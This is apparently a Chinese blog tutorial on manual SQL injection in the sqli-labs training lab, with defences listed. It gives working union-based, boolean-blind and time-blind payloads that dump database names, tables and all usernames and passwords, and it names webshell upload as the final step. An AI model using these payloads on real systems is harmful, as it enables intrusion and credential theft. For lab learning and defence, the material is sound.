SQL隱碼攻擊 - 手工注入sqli-labs

smileleooo發表於2024-03-05

SQL隱碼攻擊(SQL Injection)是指Web應用程式對使用者輸入資料的合法性沒有判斷或過濾不嚴,攻擊者可以在Web應用程式中事先定義好的查詢語句的結尾後新增額外的SQL語句,在管理員不知情的情況下實現非法操作。以此來實現欺騙資料庫伺服器執行非授權的任意查詢,從而進一步得到相應的資料資訊。

簡單來講就是:攻擊者透過構造惡意的SQL語句來實現對資料庫的操作。

兩個條件

  • 引數使用者可控 —— 使用者能夠控制資料的輸入
  • 構造的引數可帶入資料庫並且被執行 —— 原本要執行的sql語句拼接了使用者的輸入

SQL隱碼攻擊的核心:將輸入語句拼接到程式碼中,並被當成SQL語句執行。


SQL隱碼攻擊可能發生在哪些地方

以下是一些常見的SQL隱碼攻擊發生地點:

  1. 使用者輸入:這是最常見的SQL隱碼攻擊來源,包括但不限於表單欄位如登入表單、搜尋框、登錄檔單等。
  2. URL引數:透過修改URL的查詢字串引數,攻擊者可以嘗試對資料庫進行注入攻擊。
  3. Cookie:Web應用程式會使用Cookie來儲存使用者會話資訊,就可能被用來執行SQL隱碼攻擊。
  4. HTTP頭部:有些Web應用程式可能會根據HTTP請求頭部欄位(如User-Agent、Referer等)中的資訊來構建SQL查詢。
  5. XML輸入:有些Web應用程式會使用XML或其他進行資料交換,如果未正確處理輸入資料,就可能被用來執行SQL隱碼攻擊。

SQL隱碼攻擊點如何探測

在輸入欄位中嘗試輸入特殊的SQL字元,如果應用程式返回了資料庫錯誤資訊,或者異常,可能就意味著存在SQL隱碼攻擊漏洞。

只要是帶有引數的動態網頁並且該網頁訪問了資料庫,那麼就有可能存在 SQL 注入:

  • 先加單引號'或雙引號"等看是否報錯,如果報錯就可能存在SQL隱碼攻擊漏洞。

  • 另外在URL後面加and 1=1and 1=2看頁面是否顯示一致,顯示不一樣的話,肯定存在SQL隱碼攻擊漏洞。

  • 還有就是利用盲注,透過觀察資料庫響應時間或者不同響應來推斷查詢的真假。


SQL隱碼攻擊的型別有哪些

按照注入點的資料型別來分類

  1. 數字型注入點

類似結構http://xxx.com/xxx.php?id=1這種形式,注入點id型別為數字。

這一類的 SQL 語句原型大概為select * from table_name where id=1,若存在注入,可以構造出類似與如下的sql注入語句進行注入:

select * from table_name where id=1 and 1=1
  1. 字元型注入點

類似結構http://xxx.com/xxx.php?name=admin這種形式,注入點name型別為字元型別。

這一類的 SQL 語句原型大概為 select * from table_name where name='admin' 這裡相比於數字型注入型別的sql語句原型多了引號,可以是單引號或者是雙引號。可以構造出類似與如下的sql注入語句進行注入:將後引號閉合

select * from table_name where name='admin' and 1=1'

按照資料提交的方式來分類:

  1. GET 注入

提交資料的方式是 GET , 注入點的位置在 GET 引數部分。

  1. POST 注入

使用 POST 方式提交資料,注入點位置在 POST 資料部分。

  1. Cookie 注入

HTTP 請求的時候會帶上客戶端的 Cookie, 注入點存在 Cookie 當中的某個欄位中。

  1. HTTP 頭部注入

注入點在 HTTP 請求頭部的某個欄位中。(嚴格講的話,Cookie 其實應該也是算頭部注入的一種形式)

按照執行效果來分類:

  1. 基於布林的盲注

即可以根據返回頁面判斷條件真假的注入。

  1. 基於時間的盲注

即用條件語句檢視時間延遲語句是否執行(即頁面返回時間是否延長)來判斷。

  1. 基於報錯注入

即頁面會返回錯誤資訊,或者把注入的語句的結果直接返回在頁面中。

  1. 聯合查詢注入

可以使用 union 的情況下的注入。

  1. 堆查詢注入

可以同時執行多條語句的執行時的注入。

  1. 寬位元組注入

資料庫編碼與 php 編碼設定為不同的兩個編碼,這樣就可能會產生寬位元組注入。


SQL隱碼攻擊的一般步驟

1. 注入點探測

​ 手工注入:

  • 可控引數的改變是否可以影響頁面的顯示的結果
  • 輸入的sql語句是否能報錯:透過資料庫的報錯,看到資料庫的一些語句痕跡
  • 輸入的sql語句是否不報錯:語句能夠成功閉合

2.資訊獲取

  • 環境資訊:資料庫型別、資料庫版本、操作性系統版本、使用者資訊等
  • 資料庫資訊:資料庫名、資料庫表、欄位、欄位內容

3.許可權獲取

  • 編寫webshell,上傳木馬,獲取作業系統許可權

MySQL資料庫注入常用的函式

version():檢視資料庫版本

database():檢視使用的資料庫

user():檢視當前使用者

limit:limit子句分批來獲取所有資料

group_concat():一次性獲取所有的資料庫資訊

concat_ws(':','str1','str2','str3'):按 str1:str2:str3 格式拼接字串

length():返回指定物件的長度

left(str,num):對字串str從左開始數起,返回num個字元(與函式right()相反)

ascii():返回字串str的最左字元的數值,ASCII()返回數值是從0到255

updatexml(1,concat(0x7e,(),0x7e),1):一共可以接收三個引數,報錯位置在第二個引數(報錯注入)

extractvalue(1,concat(0x7e,())):一共可以接收兩個引數,報錯位置在第二個引數(報錯注入)

其他

information_schema.tables:包含了資料庫裡所有的表

table_name:表名

table_schema:資料庫名

column_name:欄位名

SQL隱碼攻擊的防禦

  1. 採用預編譯技術

例如:INSERT INTO MyGuests (firstname, lastname, email) VALUES(?, ?, ?);

使用預編譯的SQL語句,SQL語句的語義不會是不會發生改變的。攻擊者無法改變SQL語句的結構,只是把值賦給?,然後將?這個變數傳給SQL語句。

  1. 嚴格控制資料型別

強型別語言中一般是不存在數字型注入的,因為在接受到使用者輸入id時,程式碼會做資料型別轉換。但是沒有強調處理資料型別的語言,一接收id的程式碼是如下這樣:

$id = $_GET['id'];
$SQL = "select * from '某欄位' where id = $id;";

加入一個檢查數字型別函式is_numeric()就可以防止數字型注入。

  1. 對特殊的字元進行轉義

在MySQL中對" ' "進行轉義,這樣可以防止一些惡意攻擊者來閉合語句。也可以透過一些安全函式來轉義特殊字元,如addslashes()等。

  1. 使用儲存過程

使用儲存過程的效果和使用預編譯語句類似,其區別就是儲存過程需要先將sql語句定義在資料庫中。(儘量避免在儲存過程內使用動態的sql語句)


MySQL隱碼攻擊實列

靶場環境:phpstudy本地搭建sqli-labs-php7(原版的sqli只支援php5,搭建過程可能會存在資料庫連線失敗的情況)
專案地址:https://github.com/skyblueee/sqli-labs-php7
注入工具:火狐瀏覽器配合hackbar

字元型注入

sqli-labs靶場第一題:/sqli-labs-php7-master/Less-1/

1. 注入點探測

先看頁面是否有變化?

Split URL: ?id=1 and 1=1
Split URL: ?id=1 and 1=2

檢視原始碼可以很容易的得到sql是如何拼接的

拼接後的sql:select * from users where id='1 and 1=2' limt 0,1

頁面沒有變化,也沒有報錯,來判斷一下是否為字元型注入?

Split URL: ?id=1'
拼接後的sql:select * from users where id='1'' limt 0,1

發現頁面報錯,告訴我們出現了語法錯誤,是因為單引號導致的,此題應該為字元型注入。

Split URL: ?id=1' and '1'='1
Split URL: ?id=1' --
拼接後的sql:select * from users where id='1'and '1'='1' limt 0,1

頁面回顯正常,確定為字元型注入。

-- 是sql語句中的一種註釋,將前面的sql語句補充完整後,後面跟隨註釋將不會執行後面的註釋。

2. 確定當前表有幾列

為什麼要確定表中欄位的列數呢?

因為後面的union聯合查詢,使用order by來確定表中的列數。

聯合查詢特點:要求多條查詢語句的查詢列數是一致的。

Split URL: Split URL: ?id=1' order by 1 --
Split URL: Split URL: ?id=1' order by 2 --
Split URL: Split URL: ?id=1' order by 3 --
Split URL: Split URL: ?id=1' order by 4 --
拼接後的sql:select * from users where id='1' order by 4 -- limt 0,1

當嘗試到order by 4根據第四列排序報錯了,那麼表中沒有第四列,一共只有3列。

3. 判斷那幾列回顯

用聯合查詢(將id弄成一個負數的值,使前面的語句失效)然後看看union查詢是否有回顯位。

Split URL: ?id=-1' union select 1,2,3 --
拼接後的sql:select * from users where id='-1' union select 1,2,3 -- limt 0,1

顯示2,3, 那麼就說明第2,3列可以回顯。

可以回顯了以後,就可以之前提到過的各種函式來查詢我們需要的資訊了。

4. 爆出資料庫相關資訊

Split URL: ?id=-1' union select 1,database(),version() --
拼接後的sql:select * from users where id='-1' union select 1,database(),version() -- limt 0,1

知道了當前資料庫是:security,版本資訊:5.7.26。

5. 爆出當前資料庫內的所有表名

Split URL: ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --
拼接後的sql:select * from users where id='-1' union select 1,2,group_concat(table_name) from information_schema.tables 
where table_schema=database() -- limt 0,1

6. 爆出當前資料庫user表的所有列名

Split URL: ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' 
and table_schema=database() --

7. 爆出當前資料庫user表所有username和password

Split URL: ?id=-1' union select 1,2,group_concat(concat_ws(':',username,password)) from users --

獲得了所有的賬號和密碼。

8. 上傳webshell


數字型注入

sqli-labs第二題:/sqli-labs-php7-master/Less-2/

有了上面的示例,接下來就簡單很多了,只要找到注點,其他的大同小異。

1. 注入點探測

利用上面字元型的套路注入,都報錯提示存在語法錯誤,說明原sql語句不需要閉合引號,排除了字元型注入。

Split URL: ?id=1 and 1=1 %23
Split URL: ?id=1 and 1=2 %23

%23同樣表示註釋,經過URL解碼後是#

拼接後的sql:SELECT * FROM users WHERE id=1 and 1=2 # LIMIT 0,1

沒有顯示出內容,其實分析sql語句可以得知是where子句出錯了,沒有查詢結果。

可以判斷出是數字型注入。

2. 判斷列數與回顯情況

這裡的判斷方法與上面的方法如出一轍,判斷出來有3列。

判斷回顯只用將id換為數字型即可,去掉引號:?id=-1 union select 1,database(),version() --

接下來的注入語句基本一樣。

3. 爆出當前資料庫的所有表名

Split URL: ?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() %23
拼接後的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() LIMIT 0,1

4. 爆出當前資料庫的users表的所有列名

Split URL: ?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() %23
拼接後的sql:SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() # LIMIT 0,1

5. 爆出當前資料庫users表的所有username和password

Split URL: ?id=-1 union select 1,group_concat(username),group_concat(password) from users %23
拼接後的sql:SELECT * FROM users WHERE id=-1 union select 1,group_concat(username),group_concat(password) from users LIMIT 0,1

布林盲注

布林盲注一般適用於頁面沒有回顯欄位,頁面只返回True和False兩種型別頁面,利用頁面返回不同,逐個猜解資料。

sqli-labs第五題:/sqli-labs-php7-master/Less-5/

1.判斷注入點型別

Split URL: ?id=1
拼接後的sql:SELECT * FROM users WHERE id='1' LIMIT 0,1

返回頁面正常。

Split URL: ?id=1'
拼接後的sql:SELECT * FROM users WHERE id='1'' LIMIT 0,1

返回報錯,可以判斷出來時字元型注入,單引號注入。

2.判斷當前資料庫名的長度

布林盲注一般適用於頁面沒有回顯欄位,所以我們無法直接獲得內容,但可以知道頁面返回是對還是錯,透過一點一點修改注入的條件看是否成功,就可以間接得到一些資訊。

我們嘗試查詢資料庫名,length()得到它的長度,得到一個條件表示式,逐個嘗試。

Split URL: ?id=1' and length((select database()))>0 %23
Split URL: ?id=1' and length((select database()))>1 %23
......
Split URL: ?id=1' and length((select database()))>8 %23

當嘗試到大於8的時候,頁面沒有顯示。

那麼就試試等於8的時候,頁面正常,那麼and後面的條件為真,資料庫名長度為8。

Split URL: ?id=1' and length((select database()))=8 %23

拼接後的sql:SELECT * FROM users WHERE id='1' and length((select database()))=8 #' LIMIT 0,1

盲注就是不斷嘗試,手工注入的時候就是比較繁瑣的,熟悉了套路以後可是使用一些工具提高效率。

2.檢測當前資料庫名

拿到資料庫名長度以後,可以嘗試對每一個字元經行嘗試,ascii字元最大就是256種可能。

substr()取除第一個字元,ascii()得到其ascii碼,得到一個條件表示式,逐個嘗試。

Split URL: ?id=1' and ascii(substr((select database()),1,1))=1 %23

當嘗試到115時,頁面顯示正常了,那麼說明第一個字元的ascii碼就是115,對應字元為s

手工的一個一個嘗試太耗時間,可是使用burp的intruder模組進行爆破,對右邊的數字從0到255爆破。

payload選擇數字0到255。

attack後,對Length排序後,發現一個特殊的包,payload是115,該字元的ascii就是115。

修改到下一個字元,重複操作,根據響應報文的Length不同,最終可以拿到如下8位ascii碼(115 101 99 117 114 105 116 121)可得資料庫名為:security

利用這種方法就可以爆出所有表名字元長度、所有欄位名的長度等等。


時間盲注

時間盲注針對頁面沒有任何變化,和布林盲注還是有不同的,我們可以透過瀏覽器頁面的響應時間來判斷。

藉助sleep()函式來判斷,if(a,sleep(10),1)如果a結果是真的,那麼執行sleep(10)頁面延遲10秒,如果a的結果是假,執行1頁面不延遲。

sqli-labs第九題:/sqli-labs-php7-master/Less-9/

1.判斷注入型別

Split URL: ?id=1" and if(1=1,sleep(3),1)%23

頁面不延遲

Split URL: ?id=1' and if(1=1,sleep(3),1)%23

頁面延時了3秒,判斷出是單引號注入。

2.判斷資料庫名長度

Split URL: ?id=1' and if(length((select database()))=8,sleep(3),1)%23

頁面延時3秒,判斷出是資料庫名長8。

3.逐一判斷資料庫名字元

Split URL: ?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(3),1)%23

頁面延時3秒,判斷出是資料庫名的一個字元的ascii碼為115,以此類推。

掌握手工注入以後,就可以藉助sqlmap等工具來完成。


若有錯誤,歡迎指正!o( ̄▽ ̄)ブ

相關文章